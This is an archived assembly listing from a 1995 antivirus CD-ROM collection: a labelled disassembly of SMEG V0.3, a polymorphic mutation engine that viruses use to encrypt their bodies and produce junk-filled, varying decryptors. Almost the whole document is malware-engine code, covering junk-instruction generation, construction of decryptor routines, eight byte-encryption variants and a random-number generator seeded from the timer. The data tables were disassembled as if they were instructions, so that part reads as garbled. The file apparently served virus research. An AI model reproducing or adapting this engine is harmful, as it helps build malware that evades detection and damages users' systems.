home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SMEGUPD1.ZIP / SMEGDIS.ASM < prev    next >
Assembly Source File  |  1995-05-19  |  19KB  |  1,048 lines

  1. ; Disassembly of SMEG.OBJ (SMEG V0.3)
  2. ; Labels amended where known,
  3. ; This is to complement the disassembly 'DEMO.ASM' and is not for recompile
  4.  
  5.     TITLE   SMEG.ASM
  6. CODESG  SEGMENT BYTE PUBLIC USE16
  7. CODESG  ENDS
  8.  
  9.     PUBLIC          POLYMORPH               ; Located at 1:0000h Type = 1
  10.     PUBLIC          JUNK_GEN                ; Located at 1:017Ah Type = 1
  11.     PUBLIC          ENCRYPT                 ; Located at 1:041Ah Type = 1
  12.  
  13. CODESG  SEGMENT
  14.     assume  cs: CODESG
  15.  
  16.  
  17. POLYMORPH:
  18.     mov     [bp],cx
  19.     mov     [bp+002h],dx
  20.     mov     [bp+004h],di
  21.     push    bx
  22.     push    si
  23.     mov     bx,bp
  24.     add     bx,+006h
  25.     mov     cx,002Dh
  26.     push    bx
  27. BLANK_IT:       mov     [bx],ch
  28.     inc     bx
  29.     loop    BLANK_IT
  30.     mov     [bp+01Ch],ax
  31.     call    SET_SEED
  32.     mov     bx,offset CODESG:$S3
  33.     call    RND
  34.     and     al,1Fh
  35.     xlat
  36.     pop     bx
  37.     mov     cx,0004h
  38. MAIN_REGISTERS: xor     dl,dl
  39.     rcl     al,1
  40.     rcl     dl,1
  41.     rcl     al,1
  42.     rcl     dl,1
  43.     mov     [bx],dl
  44.     inc     bx
  45.     loop    MAIN_REGISTERS
  46.     mov     byte ptr [bx],05h
  47.     inc     bx
  48.     inc     bx
  49.     call    RND
  50.     rol     al,1
  51.     and     al,01h
  52.     add     al,06h
  53.     mov     [bx],al
  54.     xor     al,01h
  55.     cmp     byte ptr [bx-003h],03h
  56.     jnz     NOT_BX
  57.     mov     [bx-003h],al
  58.     mov     al,03h
  59. NOT_BX: mov     [bx+001h],al
  60.     mov     al,[bx-003h]
  61.     mov     [bx-001h],al
  62. GET_KEY:        call    RND
  63.     xor     al,ah
  64.     jz      GET_KEY
  65.     mov     [bp+010h],al
  66.     call    RND
  67.     or      al,01h
  68.     mov     [bp+011h],ax
  69.     call    SET_SEED
  70.     and     ax,03FFh
  71.     add     ax,0080h
  72.     mov     [bp+025h],ax
  73.     xor     ax,ax
  74.     add     al,53h
  75.     dec     bp
  76.     inc     bp
  77.     inc     di
  78.     add     al,0AEh
  79.     cld
  80.     sub     di,ax
  81.     call    RND
  82.     and     ax,0003h
  83.     add     al,03h
  84.     xchg    ax,cx
  85. FRONT_JUNK:     push    cx
  86.     call    JUNK
  87.     call    RND
  88.     cmp     al,8Ch
  89.     jbe     $L9
  90.     and     ax,0003h
  91.     add     ax,offset CODESG:$S10
  92.     xchg    ax,si
  93.     mov     ah,0B4h
  94.     lodsb
  95.     xchg    ah,al
  96.     stosw
  97.     mov     ax,21CDh
  98.     stosw
  99. $L9:    pop     cx
  100.     loop    FRONT_JUNK
  101.     mov     al,0E8h
  102.     stosb
  103.     push    di
  104.     stosw
  105.     call    JUNK
  106.     mov     al,0E9h
  107.     stosb
  108.     pop     bx
  109.     push    di
  110.     stosw
  111.     push    di
  112.     pop     ax
  113.     dec     ax
  114.     dec     ax
  115.     sub     ax,bx
  116.     mov     [bx],ax
  117.     call    JUNK
  118.     mov     al,0C3h
  119.     stosb
  120.     pop     bx
  121.     push    di
  122.     pop     ax
  123.     dec     ax
  124.     dec     ax
  125.     sub     ax,bx
  126.     mov     [bx],ax
  127.     call    GENERATE_ENCRYPT
  128.     mov     si,bp
  129.     add     si,+008h
  130.     and     al,al
  131.     jnz     $L13
  132.     dec     si
  133.     dec     si
  134. $L13:   mov     al,75h
  135.     stosb
  136.     inc     di
  137.     push    di
  138.     call    JUNK_SAVE_SI
  139.     pop     bx
  140.     mov     al,0E9h
  141.     stosb
  142.     push    di
  143.     inc     di
  144.     inc     di
  145.     mov     ax,di
  146.     sub     ax,bx
  147.     mov     [bx-001h],al
  148.     call    JUNK_SAVE_SI
  149.     call    RND
  150.     and     ax,0003h
  151.     add     ax,ax
  152.     jz      $L15
  153.     push    ax
  154.     mov     al,0B8h
  155.     or      al,[si]
  156.     stosb
  157.     mov     ax,[bp+013h]
  158.     sub     ax,[bp+004h]
  159.     add     ax,[bp+01Ch]
  160.     stosw
  161.     call    JUNK_SAVE_SI
  162.     pop     ax
  163. $L15:   add     ax,offset CODESG:$S16
  164.     xchg    ax,bx
  165.     call    [bx]
  166.     stosw
  167.     pop     bx
  168.     mov     ax,di
  169.     sub     ax,bx
  170.     dec     ax
  171.     dec     ax
  172.     mov     [bx],ax
  173.     call    JUNK
  174. GO_PAD: mov     ax,di
  175.     sub     ax,[bp+004h]
  176.     and     al,0Fh
  177.     jz      NO_POLY_PADDING
  178.     cmp     al,0Ch
  179.     jnbe    ONE_BYTE_PAD
  180.     call    NO_JUMP
  181.     jmp     short GO_PAD
  182. ONE_BYTE_PAD:   call    RND
  183.     db      0E8h
  184.     db      0C5h
  185. $L31:   add     ax,0E6EBh
  186. NO_POLY_PADDING:        mov     ax,di
  187.     sub     ax,[bp+004h]
  188.     mov     [bp+027h],ax
  189.     add     ax,[bp+01Ch]
  190.     mov     cx,[bp+019h]
  191.     sub     ax,cx
  192.     mov     bx,[bp+015h]
  193.     mov     [bx],ax
  194.     mov     bl,[bp+01Bh]
  195.     mov     cl,03h
  196.     ror     bl,cl
  197.     and     bx,+00Fh
  198.     add     bx,offset CODESG:$S22
  199.     mov     ax,[bp]
  200.     call    [bx]
  201.     mov     bx,[bp+017h]
  202.     mov     [bx],ax
  203. $L33:   pop     si
  204.     pop     bx
  205.     ret
  206. JUNK_GEN:
  207.     mov     cx,[bp+025h]
  208.     mov     di,[bp+004h]
  209.     push    cx
  210.     push    di
  211. JUNK_GEN_LOOP:  call    RND
  212.     stosb
  213.     loop    JUNK_GEN_LOOP
  214.     pop     dx
  215.     pop     cx
  216.     ret
  217.  
  218.  
  219. ;DATA TABLES FOLLOW
  220.  
  221. $S99    dw      CODESG:$S24
  222.     dw      CODESG:$S25
  223.     dw      CODESG:$S26
  224.     dw      CODESG:$S27
  225.     dw      CODESG:$S28
  226.     dw      CODESG:$S29
  227. $S3:    sbb     ax,si
  228.     mov     cl,6Ch
  229.     in      al,39h
  230.     dec     si
  231.     xchg    ax,bx
  232.     dec     bx
  233.     db      0D2h
  234.     mov     ah,2Dh
  235.     loopz   $L30
  236.     push    ds
  237.     xchg    sp,[bx]
  238.     leave
  239.     jc      $L31
  240.     fdiv    dword ptr ds:[638Dh]
  241.     in      al,2Dh
  242.     daa
  243.     push    ds
  244.     db      0C6h
  245.     xchg    dx,dx
  246.     db      072h
  247. $S128:  dec     ax
  248.     inc     ax
  249.     clc
  250.     cld
  251.     cmc
  252.     stc
  253.     inc     ax
  254.     dec     ax
  255. $S116   db      0F1h
  256.     add     byte ptr [bx+di],32h
  257.     db      0C1h
  258.     test    byte ptr [di],84h
  259.     jmp     $L32
  260.     sub     ch,bl
  261.     rol     byte ptr [bx+di],1
  262.     sbb     bl,cl
  263.     adc     cl,80h
  264.     sti
  265.     shl     bl,1
  266.     ror     bl,1
  267.     rol     bl,1
  268.     rol     byte ptr [di],1
  269.     test    bl,bl
  270.     rol     cl,1
  271.     db      0C6h
  272.     leave
  273.     add     byte ptr [bx+di],0Ah
  274.     db      0D1h
  275.     neg     cl
  276.     test    byte ptr [bx+di],8Ah
  277.     rol     si,01h
  278.     add     al,cl
  279.     cmp     ch,80h
  280.     pop     es
  281.     db      038h
  282.     loopz   $L33
  283.     rcl     ax,cl
  284.     add     [bp+si],sp
  285.     add     [bp+si],dx
  286.     db      001h
  287.     db      08Ah
  288. $S10:   sbb     [bp+si],bp
  289.     sub     al,30h
  290. $S22    dw      CODESG:$S34
  291.     dw      CODESG:$S35
  292.     dw      CODESG:$S36
  293.     dw      CODESG:$S37
  294.     dw      CODESG:$S38
  295.     dw      CODESG:$S39
  296.     dw      CODESG:$S40
  297.     dw      CODESG:$S41
  298. $S88    dw      CODESG:$S42
  299.     dw      CODESG:$S43
  300.     dw      CODESG:$S44
  301.     dw      CODESG:$S45
  302. $S91    dw      CODESG:$S46
  303. $L30:   dw      CODESG:$S47
  304.     dw      CODESG:$S48
  305.     or      [si-3800h],cl
  306.     add     al,00h
  307.     or      [bp-2800h],cl
  308.     add     al,00h
  309.     pop     es
  310.     mov     ax,0FF04h
  311.     add     [bp+si],al
  312.     add     [bx+si-00FCh],di
  313.     add     [bp+di],al
  314.     push    di
  315.     mov     al,[bx+si]
  316.     add     byte ptr [di],04h
  317.     push    di
  318.     mov     [bx+si],al
  319.     add     byte ptr [di],04h
  320.     add     al,[bx+si-1000h]
  321.     add     al,01h
  322.     adc     [bp+di-4000h],cx
  323.     add     ax,7800h
  324.     xor     [bx+si],al
  325.     add     byte ptr ds:[4700h],al
  326.     test    byte ptr [bx+si],98h
  327.     add     al,04h
  328.     inc     di
  329.     test    byte ptr [bx+si],90h
  330.     add     al,04h
  331.     pop     es
  332.     inc     ax
  333.     add     al,0FFh
  334.     db      000h
  335.     db      000h
  336.     add     [bx+si+004h],cx
  337.     inc     word ptr [bx+si]
  338.     add     [bx+si],cl
  339.     mov     al,04h
  340.     inc     word ptr [bx+si]
  341.     db      001h
  342. $S97:   adc     [bp+di],dh
  343.     db      000h
  344.     rol     [di],00h
  345.     inc     di
  346.     xchg    al,[bx+si]
  347.     add     byte ptr [di],04h
  348.     or      [bx+si+004h],al
  349.     inc     word ptr [bx+si]
  350.     add     [bx+si],cl
  351.     dec     ax
  352.     add     al,0FFh
  353.     db      000h
  354.     db      000h
  355.     pop     es
  356.     add     word ptr [bx+si],04C0h
  357.     adc     ax,8101h
  358.     db      000h
  359.     call    $L49
  360.     adc     [bp+si],al
  361.     db      000h
  362.     rol     [di],00h
  363.     adc     [bp+si],ch
  364.     db      000h
  365.     rol     [di],00h
  366.     inc     di
  367.     sti
  368.     add     al,0B0h
  369.     add     al,04h
  370.     inc     di
  371.     pop     [bx+si]
  372.     add     byte ptr [si],04h
  373.     or      [bx+si+004h],dl
  374. $L51:   inc     word ptr [bx+si]
  375.     add     [bx+si],cl
  376.     pop     ax
  377.     add     al,0FFh
  378.     db      000h
  379.     db      000h
  380.     adc     [bx-4000h],al
  381.     add     ax,0200h
  382.     inc     ax
  383.     add     al,0FFh
  384.     db      000h
  385.     db      000h
  386.     or      [bp+di-4000h],cl
  387.     add     ax,0900h
  388.     and     ax,[bx+si]
  389.     rol     [di],00h
  390. $S73:   adc     [bp+di],dl
  391.     and     al,0EFh
  392.     add     ax,26F0h
  393.     int     0FFh
  394. $S77:   jno     $L50
  395.     adc     ch,dh
  396.     db      00Dh
  397. $L141:  lodsw
  398.     pop     di
  399.     pusha
  400.     xor     [bx+si+050h],al
  401.     xor     [bx+si-001h],dl
  402. $L52:   inc     dx
  403.     inc     bx
  404.     db      010h
  405.     into
  406.     loopnz  $L51
  407.     add     [bx],bl
  408.     db      068h
  409. $L53:   adc     al,0D0h
  410.     db      0D0h
  411.     db      030h
  412.     shl     al,40h
  413.     lock    inc     word ptr [bx+si]
  414. $L54:   xor     dx,[si]
  415.     and     bp,si
  416.     or      ax,5FDBh
  417.     outsw
  418.     shl     [bx+si],20h
  419.     db      0F0h
  420.     db      0FFh
  421. $S81:   inc     cx
  422.     aas
  423.     db      009h
  424.     db      080h
  425.     db      0C0h
  426. $L50:
  427.     db      020h
  428.     shl     byte ptr [bx+si],1
  429.     inc     ax
  430. $L142:  and     [bx+si],ah
  431.     loopnz  $L52
  432.     db      0C0h
  433.     db      0F0h
  434.     db      0FFh
  435. $S71:   add     ax,4213h
  436.     out     dx,ax
  437.     or      ax,0A070h
  438.     xor     byte ptr [bx+si-4F40h],0A0h
  439.     jbe     $L53
  440.     db      080h
  441.     db      0D0h
  442. $L55:   rol     al,1
  443.     loopnz  $L141
  444.     db      020h
  445.     db      0F0h
  446.     db      0FFh
  447. $S82:   push    si
  448.     xor     al,12h
  449.     db      02Eh
  450.     add     ax,66D0h
  451.     cmp     byte ptr [bx],0DCh
  452.     sar     bh,1
  453. $S78:   daa
  454.     inc     cx
  455.     xor     ch,bh
  456.     db      009h
  457.     lock    inc     ax
  458.     db      0A8h
  459. $L32:   rcl     al,1
  460.     rol     al,1
  461.     loopnz  $L54
  462.     db      030h
  463.     db      0F0h
  464.     db      0FFh
  465. $S76:   xor     al,[bx+di+032h]
  466.     loopnz  $L142
  467.     db      008h
  468.     sar     byte ptr [bx+3060h],1
  469.     ror     [di-001h],00h
  470. $S74:   adc     [bp+di+012h],ax
  471.     out     dx,ax
  472.     or      bl,[bx-030h]
  473.     xor     [bx+si],dh
  474.     rcl     [bx+si],0C0h
  475.     inc     ax
  476.     db      0F0h
  477.     db      0FFh
  478. $L56:   xor     [bp+si-011h],eax
  479.     add     [bx+si-7F78h],ah
  480.     shl     [bx+si],20h
  481.     and     [bx+si],ah
  482.     loopnz  $L55
  483.     db      0C0h
  484.     mov     al,60h
  485.     mov     al,ds:[0A0C0h]
  486.     nop
  487.     mov     al,3Ch
  488.     db      0F0h
  489.     db      0F0h
  490.     db      0FFh
  491. $S72:   add     al,12h
  492.     call    $L143
  493.     rcl     al,1
  494.     shl     al,0C9h
  495.     shl     [bx+si],20h
  496.     db      0F0h
  497.     db      0FFh
  498. $S80:   jnc     $S79
  499.     inc     dx
  500.     in      al,0Dh
  501.     fnsave  [bx+si-7F60h]
  502.     mov     al,0C0h
  503.     mov     di,2060h
  504.     inc     ax
  505.     and     [bx+si-001h],dl
  506. $S70    db      020h
  507.     loopnz  $L56
  508.     db      032h
  509.     inc     ax
  510.     add     [bx+si],dl
  511.     iret
  512.     rol     al,1
  513.     db      010h
  514.     enter   0FFFFD0C0h,0D0h
  515.     shl     byte ptr [bx+si],1
  516.     shl     al,0F0h
  517.     inc     word ptr [bx+si]
  518. $S75:   push    bp
  519.     inc     bx
  520.     adc     ah,bl
  521.     add     ax,70D0h
  522.     and     [bp-033h],dl
  523.     db      0FFh
  524. $S79:   inc     di
  525.     jcxz    $L144
  526.     shl     [bx+si],00h
  527.     xor     byte ptr [bx+si+68CFh],0D0h
  528.     db      030h
  529.     rcl     al,1
  530.     rol     al,1
  531.     loopnz  $L57
  532.     lock    inc     word ptr [bx+si]
  533. $S83    dw      CODESG:ENCRYPT_0
  534.  
  535.     dw      CODESG:$S59
  536.     dw      CODESG:$S60
  537.     dw      CODESG:$S61
  538.     dw      CODESG:$S62
  539.     dw      CODESG:$S63
  540.     dw      CODESG:$S64
  541.     dw      CODESG:$S65
  542. $S16    dw      CODESG:$S66
  543.     dw      CODESG:$S67
  544.     dw      CODESG:$S68
  545.     dw      CODESG:$S69
  546. $S86    dw      CODESG:$S70
  547.     dw      CODESG:$L52
  548.     dw      CODESG:$S71
  549.     dw      CODESG:$S72
  550.     dw      CODESG:$S73
  551.     dw      CODESG:$S74
  552.     dw      CODESG:$S75
  553.     dw      CODESG:$S76
  554.     dw      CODESG:$S77
  555.     dw      CODESG:$S78
  556.     dw      CODESG:$S79
  557. $L144:  dw      CODESG:$L56
  558.     dw      CODESG:$L54
  559.     dw      CODESG:$S80
  560.     dw      CODESG:$S81
  561.     dw      CODESG:$S82
  562.  
  563. ; End of data tables
  564.  
  565. ENCRYPT:
  566.     cld
  567.     push    bx
  568.     push    si
  569.     mov     bl,[bp+01Bh]
  570. $L57    =       $ - 00001h
  571.     and     bx,+00Fh
  572.     add     bx,bx
  573.     add     bx,offset CODESG:$S83
  574.     mov     di,[bp+004h]
  575.     mov     si,[bp+002h]
  576.     mov     cx,[bp]
  577.     mov     dl,[bp+010h]
  578. ENCRYPT_LOOP:   lodsb
  579.     call    [bx]
  580.     stosb
  581.     loop    ENCRYPT_LOOP
  582.     pop     si
  583.     pop     bx
  584.     ret
  585.  
  586. ; Encryption engines
  587. ; These are used to convert a byte in AL to an encrypted value, returned in AL
  588.  
  589.  
  590. ENCRYPT_0:      xor     al,dl
  591.     inc     dl
  592.     ret
  593. $S60:   xor     dl,al
  594.     mov     al,dl
  595.     dec     dl
  596.     ret
  597. $S61:   not     al
  598. $S62:   xor     al,dl
  599.     inc     dl
  600.     inc     dl
  601.     ret
  602. $S59:   xor     al,dl
  603.     neg     al
  604.     dec     dl
  605.     dec     dl
  606.     ret
  607. $S63:   add     al,dl
  608.     inc     dl
  609.     ret
  610. $S64:   sub     al,dl
  611.     dec     dl
  612.     ret
  613. $S65:   xor     al,dl
  614.     dec     dl
  615.     ret
  616. $S34:   neg     ax
  617. $S35:   ret
  618. $S36:   neg     ax
  619. $S37:   add     ax,ax
  620.     ret
  621. $S38:   neg     ax
  622. $S39:   mov     cx,ax
  623.     add     ax,ax
  624.     add     ax,cx
  625.     ret
  626. $S40:   neg     ax
  627. $S41:   add     ax,ax
  628.     add     ax,ax
  629.     ret
  630. $S66:   mov     al,0E9h
  631.     stosb
  632.     mov     ax,di
  633.     sub     ax,[bp+013h]
  634.     inc     ax
  635.     inc     ax
  636.     neg     ax
  637.     ret
  638. $S67:   mov     ax,0E0FFh
  639.     or      ah,[si]
  640.     ret
  641. $S68:   mov     ax,0C350h
  642. $L85:   or      al,[si]
  643.     ret
  644. $S69:   mov     al,0Eh
  645.     stosb
  646.     call    JUNK_SAVE_SI
  647.     mov     ax,0CB50h
  648.     jmp     short $L85
  649. GENERATE_ENCRYPT:       call    RND
  650.     mov     bx,offset CODESG:$S86
  651.     and     ax,000Fh
  652.     add     ax,ax
  653.     add     bx,ax
  654.     mov     si,[bx]
  655.     lodsb
  656.     mov     [bp+01Bh],al
  657.     jmp     short $L87
  658. $L98:   lodsb
  659.     cmp     ah,0FFh
  660.     jz      $S42
  661.     xor     bh,bh
  662.     add     al,al
  663.     mov     bl,al
  664.     add     bx,offset CODESG:$S88
  665.     mov     al,dh
  666.     mov     cx,0003h
  667.     call    [bx]
  668.     xchg    ah,al
  669.     stosb
  670. $S42:   ret
  671. $S43:   ror     al,cl
  672. $S44:   and     al,07h
  673.     mov     bx,bp
  674.     add     bx,+006h
  675.     xlat
  676.     rol     al,cl
  677.     and     cl,cl
  678.     jnz     $L89
  679.     test    dh,40h
  680.     jz      $L89
  681.     cmp     al,03h
  682.     jnz     $L90
  683.     mov     al,07h
  684.     jmp     short $L89
  685. $L90:   cmp     al,06h
  686.     jc      $L89
  687.     sub     al,02h
  688. $L89:   or      ah,al
  689.     ret
  690. $S45:   ror     al,cl
  691. $S46:   xor     cl,cl
  692.     jmp     short $S44
  693. $S47:   call    near ptr $S43
  694.     mov     al,dh
  695.     jmp     short $S46
  696. $S48:   call    near ptr $S44
  697.     mov     al,dh
  698.     jmp     short $S45
  699. $L87:   mov     word ptr [bp+02Bh],offset CODESG:$S91
  700. $L94:   lodsb
  701.     cmp     al,0FFh
  702.     jnz     $L92
  703.     lodsb
  704.     ret
  705. $L92:   push    si
  706.     push    ax
  707.     mov     cl,04h
  708.     call    near ptr $L93
  709.     xor     cl,cl
  710.     pop     ax
  711.     call    near ptr $L93
  712.     pop     si
  713.     jmp     short $L94
  714. $L93:   ror     al,cl
  715.     and     ax,000Fh
  716.     jnz     $L95
  717.     and     cl,cl
  718.     jz      $L96
  719.     mov     [bp+013h],di
  720.     ret
  721. $L96:   mov     word ptr [bp+02Bh],offset CODESG:$S97
  722.     ret
  723. $L95:   push    ax
  724.     call    near ptr JUNK
  725.     pop     ax
  726.     add     ax,ax
  727.     mov     bx,ax
  728.     add     ax,ax
  729.     add     ax,bx
  730.     add     ax,[bp+02Bh]
  731.     mov     word ptr [bp+02Bh],offset CODESG:$S91
  732.     xchg    ax,si
  733.     lodsb
  734.     mov     dh,al
  735.     lodsb
  736.     xchg    ah,al
  737.     call    $L98
  738.     lodsb
  739.     xchg    ah,al
  740.     call    $L98
  741.     lodsb
  742.     mov     dl,al
  743.     and     ax,000Fh
  744.     add     ax,ax
  745.     add     ax,offset CODESG:$S99
  746.     xchg    ax,bx
  747.     jmp     [bx]
  748. $S24:   ret
  749. $S25:   mov     al,[bp+010h]
  750.     stosb
  751.     ret
  752. $S26:   mov     [bp+015h],di
  753.     stosw
  754.     ret
  755. $S27:   mov     [bp+017h],di
  756.     stosw
  757.     ret
  758. $S28:   mov     ax,[bp+011h]
  759.     mov     [bp+019h],ax
  760.     stosw
  761.     ret
  762. $S29:   mov     al,dl
  763.     mov     cl,04h
  764.     shr     al,cl
  765.     and     ax,000Fh
  766.     stosw
  767.     ret
  768. JUNK_SAVE_SI:   push    si
  769.     mov     dx,0003h
  770.     call    near ptr $L100
  771.     pop     si
  772.     ret
  773. JUNK:   mov     dx,0007h
  774. $L100:  call    RND
  775.     and     ax,dx
  776.     inc     ax
  777.     inc     ax
  778.     xchg    ax,cx
  779. $L102:  push    cx
  780.     call    $L101
  781.     pop     cx
  782.     loop    $L102
  783.     cmp     [bp+01Fh],cx
  784.     jz      $L103
  785.     call    near ptr $L104
  786. $L103:  call    near ptr $L105
  787.     mov     bx,[bp+023h]
  788.     and     bx,bx
  789.     jnz     $L106
  790.     ret
  791. $L106:  mov     al,0C3h
  792.     stosb
  793.     mov     ax,di
  794.     sub     ax,bx
  795.     dec     ax
  796.     dec     ax
  797.     mov     [bx],ax
  798.     mov     [bp+021h],bx
  799.     mov     word ptr [bp+023h],0000h
  800. $L105:  call    RND
  801.     and     ax,0003h
  802.     add     al,03h
  803.     xchg    ax,cx
  804. $L107:  push    cx
  805.     call    near ptr NO_JUMP
  806.     pop     cx
  807.     loop    $L107
  808.     ret
  809. $L104:  mov     ax,di
  810.     mov     bx,[bp+01Fh]
  811.     sub     ax,bx
  812.     dec     al
  813.     jnz     $L108
  814.     call    near ptr NO_JUMP
  815.     jmp     short $L104
  816. $L108:  cmp     ax,007Fh
  817.     jbe     $L109
  818.     xor     al,al
  819. $L109:  mov     [bx],al
  820.     mov     word ptr [bp+01Fh],0000h
  821.     ret
  822. $L118:  and     cl,0F8h
  823.     mov     bx,bp
  824.     add     bx,+006h
  825.     mov     dh,07h
  826.     test    dl,04h
  827.     jnz     $L110
  828.     add     bx,+003h
  829.     mov     dh,03h
  830. $L110:  ret
  831. $L121:  call    RND
  832.     xor     ah,ah
  833.     and     al,dh
  834.     add     bx,ax
  835.     mov     al,[bx]
  836.     test    ch,01h
  837.     jnz     $L111
  838.     test    byte ptr [si-002h],04h
  839.     jnz     $L111
  840.     mov     ah,al
  841.     and     al,03h
  842.     cmp     al,[bp+009h]
  843.     mov     al,ah
  844.     jz      $L111
  845.     mov     al,[bp+009h]
  846.     cmp     al,04h
  847.     jc      $L112
  848.     pop     ax
  849.     ret
  850. $L112:  and     ah,04h
  851.     or      al,ah
  852. $L111:  ret
  853. $L101:  call    RND
  854.     cmp     ah,0C8h
  855.     jbe     $L113
  856.     jmp     $L114
  857. NO_JUMP:        call    RND
  858. $L113:  cmp     al,0F0h
  859.     jbe     $L115
  860.     jmp     $L21
  861. $L115:  and     ax,001Fh
  862.     cmp     al,[bp+01Eh]
  863.     jz      NO_JUMP
  864.     mov     [bp+01Eh],al
  865.     add     ax,ax
  866.     add     ax,offset CODESG:$S116
  867.     xchg    ax,si
  868.     lodsw
  869.     xchg    ax,cx
  870.     mov     dl,cl
  871.     and     dl,03h
  872.     call    RND
  873.     and     al,03h
  874.     and     al,dl
  875.     or      ch,al
  876.     mov     dl,cl
  877.     and     dl,0C0h
  878.     cmp     dl,0C0h
  879.     mov     dl,cl
  880.     jz      $L117
  881.     call    $L118
  882.     call    RND
  883.     and     al,0C0h
  884.     or      cl,al
  885.     rol     al,1
  886.     rol     al,1
  887.     mov     dl,al
  888.     call    RND
  889.     and     al,07h
  890.     or      cl,al
  891.     cmp     dl,03h
  892.     jz      $L119
  893.     cmp     al,06h
  894.     jnz     $L120
  895.     mov     dl,02h
  896.     and     cl,3Fh
  897.     jmp     short $L119
  898. $L120:  and     ch,0FEh
  899. $L119:  call    $L121
  900.     shl     al,1
  901.     shl     al,1
  902.     shl     al,1
  903. $L125:  or      cl,al
  904.     xchg    ax,cx
  905.     xchg    ah,al
  906.     stosw
  907.     and     dl,dl
  908.     jnz     $L122
  909.     ret
  910. $L122:  cmp     dl,03h
  911.     jnz     $L123
  912.     ret
  913. $L123:  call    RND
  914.     and     al,3Fh
  915.     stosb
  916.     dec     dl
  917.     jnz     $L123
  918.     ret
  919. $L117:  call    $L118
  920.     call    $L121
  921.     mov     ah,ch
  922.     and     ah,0FEh
  923.     cmp     ah,0F6h
  924.     jnz     $L124
  925.     test    cl,10h
  926.     jz      $L124
  927. $L127:  xor     dl,dl
  928.     jmp     short $L125
  929. $L124:  and     ah,0FCh
  930.     cmp     ah,0D0h
  931.     jnz     $L126
  932.     jmp     short $L127
  933. $L126:  test    ch,01h
  934.     mov     dl,02h
  935.     jnz     $L125
  936.     dec     dl
  937.     jmp     short $L125
  938. $L21:   and     al,07h
  939.     mov     bx,offset CODESG:$S128
  940.     xlat
  941.     cmp     al,48h
  942.     jz      $L129
  943.     cmp     al,40h
  944.     jnz     $L130
  945. $L129:  mov     cl,al
  946.     call    RND
  947.     and     al,03h
  948.     mov     bx,bp
  949.     add     bx,+009h
  950.     xlat
  951.     or      al,cl
  952. $L130:  stosb
  953.     ret
  954. $L114:  cmp     word ptr [bp+01Fh],+000h
  955.     jz      $L131
  956.     jmp     $L104
  957. $L131:  call    near ptr RND
  958.     cmp     ah,6Eh
  959.     jnbe    $L132
  960. $L133:  and     al,0Fh
  961.     or      al,70h
  962.     stosb
  963.     mov     [bp+01Fh],di
  964.     stosb
  965.     ret
  966. $L132:  cmp     word ptr [bp+023h],+000h
  967.     jnz     $L133
  968.     call    near ptr RND
  969.     cmp     al,78h
  970.     jbe     $L134
  971.     mov     al,0E9h
  972.     stosb
  973.     mov     [bp+023h],di
  974.     stosw
  975.     call    near ptr RND
  976.     cmp     al,0AAh
  977.     jbe     $L135
  978. $L136:  jmp     NO_JUMP
  979. $L135:  cmp     word ptr [bp+029h],+000h
  980.     jz      $L136
  981.     push    di
  982.     xchg    ax,di
  983.     dec     ax
  984.     dec     ax
  985.     mov     di,[bp+029h]
  986.     sub     ax,di
  987.     stosw
  988.     pop     di
  989.     jmp     NO_JUMP
  990. $L134:  cmp     word ptr [bp+021h],+000h
  991.     jz      $L133
  992.     mov     al,0E8h
  993.     stosb
  994.     cmp     word ptr [bp+029h],+000h
  995.     jz      $L137
  996.     call    near ptr RND
  997.     and     al,07h
  998.     cmp     al,04h
  999.     jnc     $L138
  1000. $L137:  mov     [bp+029h],di
  1001. $L138:  mov     ax,di
  1002.     sub     ax,[bp+021h]
  1003.     neg     ax
  1004.     stosw
  1005.     ret
  1006. SET_SEED:       mov     ah,2Ch
  1007.     int     21h
  1008.     mov     ax,03E1h
  1009.     mul     dx
  1010.     add     ax,cx
  1011.     xchg    ax,cx
  1012.     in      ax,40h
  1013.     add     ax,cx
  1014.     mov     [bp+00Eh],ax
  1015.     ret
  1016. RND:    push    bx
  1017.     push    cx
  1018.     push    dx
  1019.     mov     ax,[bp+00Eh]
  1020.     mov     cx,03E1h
  1021.     mul     cx
  1022.     mov     cx,ax
  1023.     xor     dx,dx
  1024.     mov     bx,0035h
  1025.     div     bx
  1026.     add     dx,cx
  1027.     js      $L139
  1028.     in      ax,40h
  1029.     add     dx,ax
  1030. $L139:  cmp     dx,[bp+00Eh]
  1031.     jnz     $L140
  1032.     neg     dx
  1033.     in      ax,40h
  1034.     xor     dx,ax
  1035. $L140:  mov     [bp+00Eh],dx
  1036.     xchg    ax,dx
  1037.     pop     dx
  1038.     pop     cx
  1039.     pop     bx
  1040.     ret
  1041.  
  1042.     db      1011 dup(?)
  1043. $L143   =       $ + 01075h      db      3018 dup(?)
  1044. $L49    =       $ + 01075h      ORG     007E0h
  1045.  
  1046. CODESG  ENDS
  1047.     END
  1048.